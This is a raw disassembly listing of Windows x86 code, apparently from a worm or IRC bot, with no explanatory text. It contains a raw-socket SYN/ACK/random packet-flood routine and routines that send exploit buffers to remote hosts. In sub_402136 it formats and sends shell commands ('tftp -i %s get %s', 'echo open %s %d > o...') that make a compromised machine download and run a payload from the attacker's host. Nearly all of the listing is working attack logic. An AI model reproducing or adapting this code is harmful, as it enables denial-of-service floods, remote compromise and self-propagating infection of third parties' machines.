		lea	eax, [ebp-23Ch]
		push	eax
		call	ds:dword_431ED0
		mov	[ebp-40h], eax
		mov	[ebp+8], ebx
		call	edi ; dword_41D044
		mov	[ebp-30h], eax


loc_401DC5:				; CODE XREF: seg000:00402006j
		call	edi ; dword_41D044
		sub	eax, [ebp-30h]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp-0B4h]
		ja	near ptr loc_402088+1
		push	28h
		mov	byte ptr [ebp-2Ch], 45h
		call	ds:dword_431E90
		cmp	[ebp-0B0h], ebx
		mov	[ebp-2Ah], ax
		mov	[ebp-28h], si
		mov	[ebp-26h], bx
		mov	byte ptr [ebp-24h], 80h
		mov	byte ptr [ebp-23h], 6
		mov	[ebp-22h], bx
		jz	short loc_401E38
		call	sub_4119BF
		mov	esi, eax
		shl	esi, 8
		call	sub_4119BF
		add	esi, eax
		shl	esi, 8
		call	sub_4119BF
		add	esi, eax
		shl	esi, 8
		call	sub_4119BF
		add	esi, eax
		push	1
		mov	[ebp-20h], esi
		pop	esi
		jmp	short loc_401E4E
; ---------------------------------------------------------------------------


loc_401E38:				; CODE XREF: seg000:00401E09j
		push	dword ptr [ebp-240h]
		call	sub_407F2C
		pop	ecx
		push	eax
		call	ds:dword_431ED0
		mov	[ebp-20h], eax


loc_401E4E:				; CODE XREF: seg000:00401E36j
		mov	eax, [ebp-40h]
		cmp	[ebp-0B8h], ebx
		mov	[ebp-1Ch], eax
		jnz	short loc_401E6C
		call	sub_4119BF
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		jmp	short loc_401E72
; ---------------------------------------------------------------------------


loc_401E6C:				; CODE XREF: seg000:00401E5Aj
		push	dword ptr [ebp-0B8h]


loc_401E72:				; CODE XREF: seg000:00401E6Aj
		call	ds:dword_431E90
		mov	[ebp-16h], ax
		call	sub_4119BF
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		call	ds:dword_431E90
		push	12345678h
		mov	[ebp-18h], ax
		call	ds:dword_431E8C
		mov	[ebp-14h], eax
		lea	eax, [ebp-1BCh]
		push	offset aSyn	; "syn"
		push	eax
		call	sub_411F30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_401EC2
		mov	[ebp-10h], ebx
		mov	byte ptr [ebp-0Bh], 2
		jmp	short loc_401F1E
; ---------------------------------------------------------------------------


loc_401EC2:				; CODE XREF: seg000:00401EB7j
		lea	eax, [ebp-1BCh]
		push	offset aAck	; "ack"
		push	eax
		call	sub_411F30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_401EE2
		mov	[ebp-10h], ebx
		mov	byte ptr [ebp-0Bh], 10h
		jmp	short loc_401F1E
; ---------------------------------------------------------------------------


loc_401EE2:				; CODE XREF: seg000:00401ED7j
		lea	eax, [ebp-1BCh]
		push	offset aRandom	; "random"
		push	eax
		call	sub_411F30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_401F1E
		call	sub_4119BF
		push	3
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp-10h], edx
		call	sub_4119BF
		push	2
		cdq
		pop	ecx
		idiv	ecx
		neg	edx
		sbb	dl, dl
		and	dl, 0Eh
		add	dl, cl
		mov	[ebp-0Bh], dl


loc_401F1E:				; CODE XREF: seg000:00401EC0j
					; seg000:00401EE0j ...
		push	200h
		mov	byte ptr [ebp-0Ch], 50h
		call	ds:dword_431E90
		mov	[ebp-0Ah], ax
		mov	eax, [ebp-20h]
		mov	[ebp-64h], eax
		mov	eax, [ebp-1Ch]
		push	14h
		mov	[ebp-6], bx
		mov	[ebp-8], bx
		mov	[ebp-60h], eax
		mov	[ebp-5Ch], bl
		mov	byte ptr [ebp-5Bh], 6
		call	ds:dword_431E90
		mov	[ebp-5Ah], ax
		lea	eax, [ebp-64h]
		push	20h
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_411A40
		lea	eax, [ebp-18h]
		push	14h
		push	eax
		lea	eax, [ebp-80h]
		push	eax
		call	sub_411A40
		lea	eax, [ebp-0A0h]
		push	34h
		push	eax
		call	sub_407F85
		mov	[ebp-8], ax
		lea	eax, [ebp-2Ch]
		push	14h
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_411A40
		lea	eax, [ebp-18h]
		push	14h
		push	eax
		lea	eax, [ebp-8Ch]
		push	eax
		call	sub_411A40
		push	4
		lea	eax, [ebp-78h]
		push	ebx
		push	eax
		call	sub_4119E0
		add	esp, 44h
		lea	eax, [ebp-0A0h]
		push	28h
		push	eax
		call	sub_407F85
		mov	[ebp-22h], ax
		lea	eax, [ebp-2Ch]
		push	14h
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_411A40
		add	esp, 14h
		lea	eax, [ebp-44h]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp-0A0h]
		push	3Ch
		push	eax
		push	dword ptr [ebp-4]
		call	ds:dword_431EF4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40200B
		inc	dword ptr [ebp+8]
		jmp	loc_401DC5
; ---------------------------------------------------------------------------


loc_40200B:				; CODE XREF: seg000:00402001j
		push	dword ptr [ebp-4]
		call	ds:dword_431F28
		call	ds:dword_431E24
		push	eax
		lea	eax, [ebp-23Ch]
		push	dword ptr [ebp+8]
		push	eax
		push	offset dword_41F344
		lea	eax, [ebp-440h]
		push	200h
		push	eax
		call	sub_411EDA
		add	esp, 18h
		cmp	[ebp-0A8h], ebx
		jnz	short loc_402069
		push	ebx
		lea	eax, [ebp-440h]
		push	dword ptr [ebp-0ACh]
		push	eax
		lea	eax, [ebp-13Ch]
		push	eax
		push	dword ptr [ebp-240h]
		call	sub_40F466
		add	esp, 14h


loc_402069:				; CODE XREF: seg000:00402044j
		lea	eax, [ebp-440h]
		push	eax
		call	sub_408CFE
		push	dword ptr [ebp-0BCh]
		call	sub_41172B
		pop	ecx
		pop	ecx
		push	ebx
		call	near ptr 0A70000h


loc_402088:				; CODE XREF: seg000:00401DD9j
		call	near ptr 3C968Ch
		adc	eax, offset dword_431F28
		mov	eax, [ebp+8]
		xor	edx, edx
		imul	eax, 3Ch
		mov	ecx, eax
		shr	eax, 0Ah
		div	dword ptr [ebp-0B4h]
		shr	ecx, 14h
		push	ecx
		push	eax
		lea	eax, [ebp-23Ch]
		push	dword ptr [ebp+8]
		push	eax
		lea	eax, [ebp-1BCh]
		push	eax
		lea	eax, [ebp-440h]
		push	offset dword_41F2E0
		push	eax
		call	sub_411963
		add	esp, 1Ch
		cmp	[ebp-0A8h], ebx
		jnz	short loc_4020FA
		push	ebx
		lea	eax, [ebp-440h]
		push	dword ptr [ebp-0ACh]
		push	eax
		lea	eax, [ebp-13Ch]
		push	eax
		push	dword ptr [ebp-240h]
		call	sub_40F466
		add	esp, 14h


loc_4020FA:				; CODE XREF: seg000:004020D5j
		lea	eax, [ebp-440h]
		push	eax
		call	sub_408CFE
		push	dword ptr [ebp-0BCh]
		call	sub_41172B
		pop	ecx
		pop	ecx
		push	ebx
		call	near ptr 0A70000h
		leave


loc_40211A:				; DATA XREF: seg002:0041F004o
		jmp	$+5


loc_40211F:				; DATA XREF: seg002:off_427590o
		push	0BB80h
		push	76Ch
		call	sub_4107B2
		pop	ecx
		mov	ds:dword_430AB8, eax
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402136	proc near		; CODE XREF: sub_402297+42Ap

var_5A0		= byte ptr -5A0h
var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_4119E0
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_10], 2
		push	eax
		call	ds:dword_431ED0
		mov	[ebp+var_C], eax
		mov	ax, word ptr ds:dword_430AB8
		push	eax
		call	ds:dword_431E90
		push	esi
		push	1
		push	2
		mov	[ebp+var_E], ax
		call	ds:dword_431F10
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_402270
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	ds:dword_431E38
		cmp	eax, 0FFFFFFFFh
		jz	loc_402270
		push	esi
		lea	eax, [ebp+var_5A0]
		push	400h
		push	eax
		push	ebx
		call	ds:dword_431EA8
		mov	esi, offset byte_4243E0
		push	esi
		push	esi
		push	[ebp+arg_0]
		call	sub_407F2C
		pop	ecx
		mov	edi, 190h
		push	eax
		push	offset aTftpISGetS ; "tftp -i %s get %s\r\n"
		lea	eax, [ebp+var_1A0]
		push	edi
		push	eax
		call	sub_411EDA
		add	esp, 18h
		push	esi
		push	esi
		push	ds:dword_430AD8
		push	[ebp+arg_0]
		call	sub_407F2C
		pop	ecx
		push	eax
		push	offset aEchoOpenSDOEch ; "echo open %s %d > o&echo user	1 1 >> o "...
		lea	eax, [ebp+var_1A0]
		push	edi
		push	eax
		call	sub_411EDA
		add	esp, 1Ch
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_411FB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		call	ds:dword_431EE0
		cmp	eax, 0FFFFFFFFh
		jz	short loc_402270
		push	1F4h
		call	ds:dword_41D050	; Sleep
		push	esi
		push	offset dword_41FE50
		lea	eax, [ebp+var_1A0]
		push	edi
		push	eax
		call	sub_411EDA
		add	esp, 10h
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_411FB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		call	ds:dword_431EE0
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_402274


loc_402270:				; CODE XREF: sub_402136+51j
					; sub_402136+67j ...
		xor	al, al
		jmp	short loc_402292
; ---------------------------------------------------------------------------


loc_402274:				; CODE XREF: sub_402136+138j
		push	0
		lea	eax, [ebp+var_5A0]
		push	400h
		push	eax
		push	ebx
		call	ds:dword_431EA8
		push	ebx
		call	ds:dword_431F28
		mov	al, 1


loc_402292:				; CODE XREF: sub_402136+13Cj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_402136	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402297	proc near		; CODE XREF: sub_4026D6+125p
					; sub_4026D6+147p

var_89B4	= byte ptr -89B4h
var_894C	= byte ptr -894Ch
var_68DC	= byte ptr -68DCh
var_686C	= byte ptr -686Ch
var_5DA8	= byte ptr -5DA8h
var_4804	= byte ptr -4804h
var_4803	= byte ptr -4803h
var_3770	= byte ptr -3770h
var_2CAC	= byte ptr -2CACh
var_2CAB	= byte ptr -2CABh
var_2CA8	= byte ptr -2CA8h
var_2C2C	= byte ptr -2C2Ch
var_245C	= byte ptr -245Ch
var_1FB1	= byte ptr -1FB1h
var_1CC4	= byte ptr -1CC4h
var_14E0	= byte ptr -14E0h
var_14D0	= byte ptr -14D0h
var_11AC	= byte ptr -11ACh
var_11A8	= byte ptr -11A8h
var_119C	= byte ptr -119Ch
var_F14		= byte ptr -0F14h
var_E74		= byte ptr -0E74h
var_768		= dword	ptr -768h
var_758		= byte ptr -758h
var_744		= byte ptr -744h
var_104		= byte ptr -104h
var_103		= byte ptr -103h
var_B4		= byte ptr -0B4h
var_B1		= byte ptr -0B1h
var_87		= byte ptr -87h
var_85		= byte ptr -85h
var_84		= byte ptr -84h
var_3C		= byte ptr -3Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_2		= byte ptr -2
var_1		= byte ptr -1
arg_0		= byte ptr  8
arg_4		= byte ptr  0Ch
arg_BC		= dword	ptr  0C4h
arg_C0		= dword	ptr  0C8h

		push	ebp
		mov	ebp, esp
		mov	eax, 89B4h
		call	sub_412030
		mov	eax, ds:dword_41FEEC
		push	ebx
		mov	[ebp+var_10], eax
		mov	eax, ds:dword_41FEF0
		mov	[ebp+var_C], eax
		push	esi
		lea	eax, [ebp+arg_4]
		push	edi
		push	eax
		lea	eax, [ebp+var_3C]
		push	offset loc_41FEE0
		push	eax
		call	sub_411963
		add	esp, 0Ch
		xor	ebx, ebx
		xor	esi, esi
		lea	eax, [ebp+var_103]


loc_4022D6:				; CODE XREF: sub_402297+4Ej
		mov	cl, [ebp+esi+var_3C]
		inc	esi
		mov	[eax-1], cl
		mov	[eax], bl
		inc	eax
		inc	eax
		cmp	esi, 28h
		jl	short loc_4022D6
		push	60h
		lea	eax, [ebp+var_B4]
		push	offset dword_41F970
		push	eax
		call	sub_411A40
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_411FB0
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_104]
		push	eax
		lea	eax, [ebp+var_84]
		push	eax
		call	sub_411A40
		add	esp, 1Ch
		lea	eax, [ebp+var_3C]
		push	9
		push	(offset	aC+3)
		push	eax
		call	sub_411FB0
		pop	ecx
		lea	eax, [ebp+eax*2+var_85]
		push	eax
		call	sub_411A40
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_411FB0
		add	al, 1Ah
		push	1
		shl	al, 1
		mov	[ebp+var_1], al
		lea	eax, [ebp+var_1]
		push	eax
		lea	eax, [ebp+var_B1]
		push	eax
		call	sub_411A40
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_411FB0
		shl	al, 1
		add	al, 9
		push	1
		mov	[ebp+var_2], al
		lea	eax, [ebp+var_2]
		push	eax
		lea	eax, [ebp+var_87]
		push	eax
		call	sub_411A40
		mov	ax, word ptr ds:dword_430AB8
		add	esp, 2Ch
		push	eax
		call	ds:dword_431E90
		xor	eax, 9999h
		push	2
		mov	[ebp+var_8], eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset dword_41F670
		call	sub_411A40
		add	esp, 0Ch
		cmp	[ebp+arg_C0], ebx
		jz	loc_402493
		mov	edi, 0DACh
		lea	eax, [ebp+var_1CC4]
		push	edi
		push	90h
		push	eax
		call	sub_4119E0
		mov	eax, [ebp+arg_C0]
		push	4
		imul	eax, 3Ch
		lea	eax, dword_41FD98[eax]
		mov	[ebp+var_14], eax
		push	eax
		lea	eax, [ebp+var_14E0]
		push	eax
		call	sub_411A40
		mov	esi, offset loc_41F5C0
		push	esi
		call	sub_411FB0
		push	eax
		lea	eax, [ebp+var_14D0]
		push	esi
		push	eax
		call	sub_411A40
		push	4
		lea	eax, [ebp+var_11AC]
		push	offset loc_41FED8
		push	eax
		call	sub_411A40
		push	4
		lea	eax, [ebp+var_11A8]
		push	[ebp+var_14]
		push	eax
		call	sub_411A40
		add	esp, 40h
		push	esi
		call	sub_411FB0
		push	eax
		lea	eax, [ebp+var_119C]
		push	esi
		push	eax
		call	sub_411A40
		add	esp, 10h
		xor	esi, esi
		lea	eax, [ebp+var_4803]


loc_40244C:				; CODE XREF: sub_402297+1C6j
		mov	cl, [ebp+esi+var_1CC4]
		inc	esi
		mov	[eax-1], cl
		mov	[eax], bl
		inc	eax
		inc	eax
		cmp	esi, edi
		jl	short loc_40244C
		mov	esi, 1C52h
		lea	eax, [ebp+var_89B4]
		push	esi
		push	31h
		push	eax
		mov	[ebp+var_2CAC],	bl
		mov	[ebp+var_2CAB],	bl
		call	sub_4119E0
		push	esi
		lea	eax, [ebp+var_68DC]
		push	31h
		push	eax
		call	sub_4119E0
		add	esp, 18h
		jmp	short loc_4024EA
; ---------------------------------------------------------------------------


loc_402493:				; CODE XREF: sub_402297+118j
		push	7D0h
		lea	eax, [ebp+var_F14]
		push	90h
		push	eax
		call	sub_4119E0
		mov	esi, offset loc_41F5C0
		push	esi
		call	sub_411FB0
		push	eax
		lea	eax, [ebp+var_E74]
		push	esi
		push	eax
		call	sub_411A40
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_411FB0
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_758]
		push	eax
		call	sub_411A40
		mov	eax, ds:dword_41FD98
		add	esp, 2Ch
		mov	[ebp+var_768], eax


loc_4024EA:				; CODE XREF: sub_402297+1FAj
		push	0E29h
		lea	eax, [ebp+var_2CA8]
		push	31h
		push	eax
		call	sub_4119E0
		movsx	eax, [ebp+var_1]
		mov	edi, [ebp+arg_BC]
		add	esp, 0Ch
		add	eax, 4
		push	ebx
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	edi
		call	ds:dword_431EE0
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_402529


loc_402522:				; CODE XREF: sub_402297+2B9j
					; sub_402297+2E0j ...
		xor	al, al
		jmp	loc_4026D1
; ---------------------------------------------------------------------------


loc_402529:				; CODE XREF: sub_402297+289j
		mov	esi, 640h
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	ds:dword_431EA8
		push	ebx
		push	68h
		push	offset dword_41F9D4
		push	edi
		call	ds:dword_431EE0
		cmp	eax, 0FFFFFFFFh
		jz	short loc_402522
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	ds:dword_431EA8
		push	ebx
		push	0A0h
		push	offset dword_41FA40
		push	edi
		call	ds:dword_431EE0
		cmp	eax, 0FFFFFFFFh
		jz	short loc_402522
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	ds:dword_431EA8
		cmp	[ebp+arg_C0], ebx
		jz	loc_40263F
		push	68h
		lea	eax, [ebp+var_89B4]
		push	offset dword_41FBF8
		push	eax
		call	sub_411A40
		lea	eax, [ebp+var_4804]
		push	1B5Ah
		push	eax
		lea	eax, [ebp+var_894C]
		push	eax
		call	sub_411A40
		push	70h
		lea	eax, [ebp+var_68DC]
		push	offset dword_41FC64
		push	eax
		call	sub_411A40
		lea	eax, [ebp+var_3770]
		push	0A5Eh
		push	eax
		lea	eax, [ebp+var_686C]
		push	eax
		call	sub_411A40
		push	84h
		lea	eax, [ebp+var_5DA8]
		push	offset dword_41FCD8
		push	eax
		call	sub_411A40
		add	esp, 3Ch
		lea	eax, [ebp+var_89B4]
		push	ebx
		push	10FCh
		push	eax
		push	edi
		call	ds:dword_431EE0
		cmp	eax, 0FFFFFFFFh
		jz	loc_402522
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	ds:dword_431EA8
		push	ebx
		push	0FDCh
		lea	eax, [ebp+var_68DC]
		jmp	short loc_402695
; ---------------------------------------------------------------------------


loc_40263F:				; CODE XREF: sub_402297+2F8j
		push	7Ch
		lea	eax, [ebp+var_2CA8]
		push	offset dword_41FAE4
		push	eax
		call	sub_411A40
		lea	eax, [ebp+var_F14]
		push	7D0h
		push	eax
		lea	eax, [ebp+var_2C2C]
		push	eax
		call	sub_411A40
		push	90h
		lea	eax, [ebp+var_245C]
		push	offset off_41FB64
		push	eax
		call	sub_411A40
		add	esp, 24h
		mov	[ebp+var_1FB1],	bl
		lea	eax, [ebp+var_2CA8]
		push	ebx
		push	0CF8h


loc_402695:				; CODE XREF: sub_402297+3A6j
		push	eax
		push	edi
		call	ds:dword_431EE0
		cmp	eax, 0FFFFFFFFh
		jz	loc_402522
		push	12Ch
		call	ds:dword_41D050	; Sleep
		sub	esp, 0BCh
		lea	esi, [ebp+arg_0]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_402136
		add	esp, 0BCh
		test	al, al
		setnz	al


loc_4026D1:				; CODE XREF: sub_402297+28Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_402297	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4026D6	proc near		; CODE XREF: seg000:00403B94p
					; sub_405F2E+1E6p
					; DATA XREF: ...

var_854		= byte ptr -854h
var_810		= byte ptr -810h
var_214		= byte ptr -214h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_14		= byte ptr  1Ch
arg_A0		= dword	ptr  0A8h
arg_A8		= dword	ptr  0B0h
arg_B0		= dword	ptr  0B8h

		push	ebp
		mov	ebp, esp
		sub	esp, 854h
		push	ebx
		push	esi
		push	edi
		push	0BB80h
		push	76Ch
		call	sub_4107B2
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_14]
		push	edi
		push	eax
		mov	[ebp+var_4], edi
		call	sub_4119E0
		add	esp, 14h
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_14], 2
		push	eax
		call	ds:dword_431ED0
		push	[ebp+arg_A0]
		mov	[ebp+var_10], eax
		call	ds:dword_431E90
		push	6
		push	1
		push	2
		mov	[ebp+var_12], ax
		call	ds:dword_431F10
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_4027DE
		lea	eax, [ebp+var_14]
		push	10h
		push	eax
		push	ebx
		call	ds:dword_431E38
		cmp	eax, 0FFFFFFFFh
		jz	loc_4027DE
		push	edi
		push	89h
		push	offset dword_41F758
		push	ebx
		call	ds:dword_431EE0
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4027DE
		mov	esi, 640h
		push	edi
		lea	eax, [ebp+var_854]
		push	esi
		push	eax
		push	ebx
		call	ds:dword_431EA8
		push	edi
		push	0A8h
		push	offset dword_41F7E4
		push	ebx
		call	ds:dword_431EE0
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4027DE
		push	edi
		lea	eax, [ebp+var_854]
		push	esi
		push	eax
		push	ebx
		call	ds:dword_431EA8
		push	edi
		push	0DEh
		push	offset dword_41F890
		push	ebx
		call	ds:dword_431EE0
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4027DE
		push	edi
		lea	eax, [ebp+var_854]
		push	esi
		push	eax
		push	ebx
		call	ds:dword_431EA8
		movsx	eax, [ebp+var_810]
		sub	eax, 30h
		jz	short loc_4027E8
		dec	eax
		jz	short loc_4027E5


loc_4027DE:				; CODE XREF: sub_4026D6+63j
					; sub_4026D6+79j ...
		xor	eax, eax
		jmp	loc_402882
; ---------------------------------------------------------------------------


loc_4027E5:				; CODE XREF: sub_4026D6+106j
		push	edi
		jmp	short loc_40280C
; ---------------------------------------------------------------------------


loc_4027E8:				; CODE XREF: sub_4026D6+103j
		push	2
		push	ebx
		sub	esp, 0BCh
		lea	esi, [ebp+arg_0]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_402297
		add	esp, 0C4h
		test	al, al
		jnz	short loc_40282C
		push	1


loc_40280C:				; CODE XREF: sub_4026D6+110j
		push	ebx
		lea	esi, [ebp+arg_0]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_402297
		add	esp, 0C4h
		test	al, al
		jz	short loc_402833


loc_40282C:				; CODE XREF: sub_4026D6+132j
		mov	[ebp+var_4], 1


loc_402833:				; CODE XREF: sub_4026D6+154j
		push	ebx
		call	ds:dword_431F28
		cmp	[ebp+var_4], 0
		jz	short loc_40287F
		push	0
		lea	eax, [ebp+var_214]
		push	[ebp+arg_B0]
		push	eax
		lea	eax, [ebp+arg_14]
		push	eax
		push	[ebp+arg_0]
		call	sub_40F466
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_408CFE
		mov	eax, [ebp+arg_A8]
		add	esp, 18h
		imul	eax, 3Ch
		inc	ds:dword_421048[eax]
		lea	eax, dword_421048[eax]


loc_40287F:				; CODE XREF: sub_4026D6+168j
		push	1
		pop	eax


loc_402882:				; CODE XREF: sub_4026D6+10Aj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4026D6	endp


; =============== S U B	R O U T	I N E =======================================



sub_402887	proc near		; CODE XREF: sub_402AFB+Ep
					; sub_402AFB+33p ...
		mov	eax, ecx
		and	dword ptr [eax+4], 0
		and	dword ptr [eax], 0
		retn
sub_402887	endp


; =============== S U B	R O U T	I N E =======================================



sub_402891	proc near		; CODE XREF: sub_402AFB+11Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		push	edi
		mov	esi, ecx
		push	ebx
		call	sub_41205F
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_4028C3
		push	ebx
		push	0
		push	edi
		call	sub_4119E0
		push	ebx
		push	[esp+1Ch+arg_0]
		push	edi
		call	sub_411A40
		add	esp, 18h
		mov	[esi+4], ebx
		mov	[esi], edi


loc_4028C3:				; CODE XREF: sub_402891+14j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_402891	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4028CB	proc near		; CODE XREF: sub_4029C5+18p
					; sub_402A3F+16p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, ecx
		push	esi
		mov	ecx, [ebp+arg_C]
		push	edi
		lea	edi, [eax+ecx]
		push	edi
		call	sub_41205F
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_402917
		push	edi
		push	0
		push	esi
		call	sub_4119E0
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	esi
		call	sub_411A40
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_4]
		add	eax, esi
		push	[ebp+arg_8]
		push	eax
		call	sub_411A40
		add	esp, 24h
		mov	[ebx+4], edi
		mov	[ebx], esi


loc_402917:				; CODE XREF: sub_4028CB+1Cj
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn	10h
sub_4028CB	endp


; =============== S U B	R O U T	I N E =======================================



sub_402920	proc near		; CODE XREF: sub_4029C5+5Ep
					; sub_4029C5+6Fp ...
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_402930
		push	eax
		call	sub_4120D3
		pop	ecx


loc_402930:				; CODE XREF: sub_402920+7j
		and	dword ptr [esi+4], 0
		and	dword ptr [esi], 0
		pop	esi
		retn
sub_402920	endp


; =============== S U B	R O U T	I N E =======================================



sub_402939	proc near		; CODE XREF: sub_4029C5+20p
					; sub_402AA0+8p ...
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+4]
		cmp	eax, 0FFFFh
		jge	short loc_402966
		xor	ebx, ebx
		cmp	eax, 7Fh
		setnl	bl
		dec	ebx
		and	ebx, 0FFFFFFFEh
		add	ebx, 3
		add	eax, ebx
		push	eax
		call	sub_41205F
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_40296A


loc_402966:				; CODE XREF: sub_402939+Dj
		xor	al, al
		jmp	short loc_4029C1
; ---------------------------------------------------------------------------


loc_40296A:				; CODE XREF: sub_402939+2Bj
		mov	eax, ebx
		add	eax, [esi+4]
		push	eax
		push	0
		push	edi
		call	sub_4119E0
		add	esp, 0Ch
		cmp	ebx, 1
		jnz	short loc_40298F
		mov	al, [esi+4]
		mov	[edi], al
		push	dword ptr [esi+4]
		lea	eax, [edi+1]
		push	dword ptr [esi]
		jmp	short loc_4029A9
; ---------------------------------------------------------------------------


loc_40298F:				; CODE XREF: sub_402939+45j
		mov	byte ptr [edi],	82h
		mov	eax, [esi+4]
		sar	eax, 8
		mov	[edi+1], al
		mov	al, [esi+4]
		mov	[edi+2], al
		push	dword ptr [esi+4]
		lea	eax, [edi+3]
		push	dword ptr [esi]


loc_4029A9:				; CODE XREF: sub_402939+54j
		push	eax
		call	sub_411A40
		add	esp, 0Ch
		push	dword ptr [esi]
		call	sub_4120D3
		add	[esi+4], ebx
		pop	ecx
		mov	[esi], edi
		mov	al, 1


loc_4029C1:				; CODE XREF: sub_402939+2Fj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_402939	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4029C5	proc near		; CODE XREF: sub_402AFB+89p
					; sub_402AFB+E3p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	1
		push	offset dword_430ACC
		call	sub_4028CB
		lea	ecx, [ebp+var_8]
		call	sub_402939
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	sub_41205F
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_4029FF
		xor	al, al
		jmp	short loc_402A3B
; ---------------------------------------------------------------------------


loc_4029FF:				; CODE XREF: sub_4029C5+34j
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		push	0
		push	edi
		call	sub_4119E0
		mov	byte ptr [edi],	3
		push	[ebp+var_4]
		lea	eax, [edi+1]
		push	[ebp+var_8]
		push	eax
		call	sub_411A40
		add	esp, 18h
		mov	ecx, esi
		call	sub_402920
		mov	eax, [ebp+var_4]
		lea	ecx, [ebp+var_8]
		inc	eax
		mov	[esi], edi
		mov	[esi+4], eax
		call	sub_402920
		mov	al, 1


loc_402A3B:				; CODE XREF: sub_4029C5+38j
		pop	edi
		pop	esi
		leave
		retn
sub_4029C5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402A3F	proc near		; CODE XREF: sub_402A73+14p
					; sub_402A90+8p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
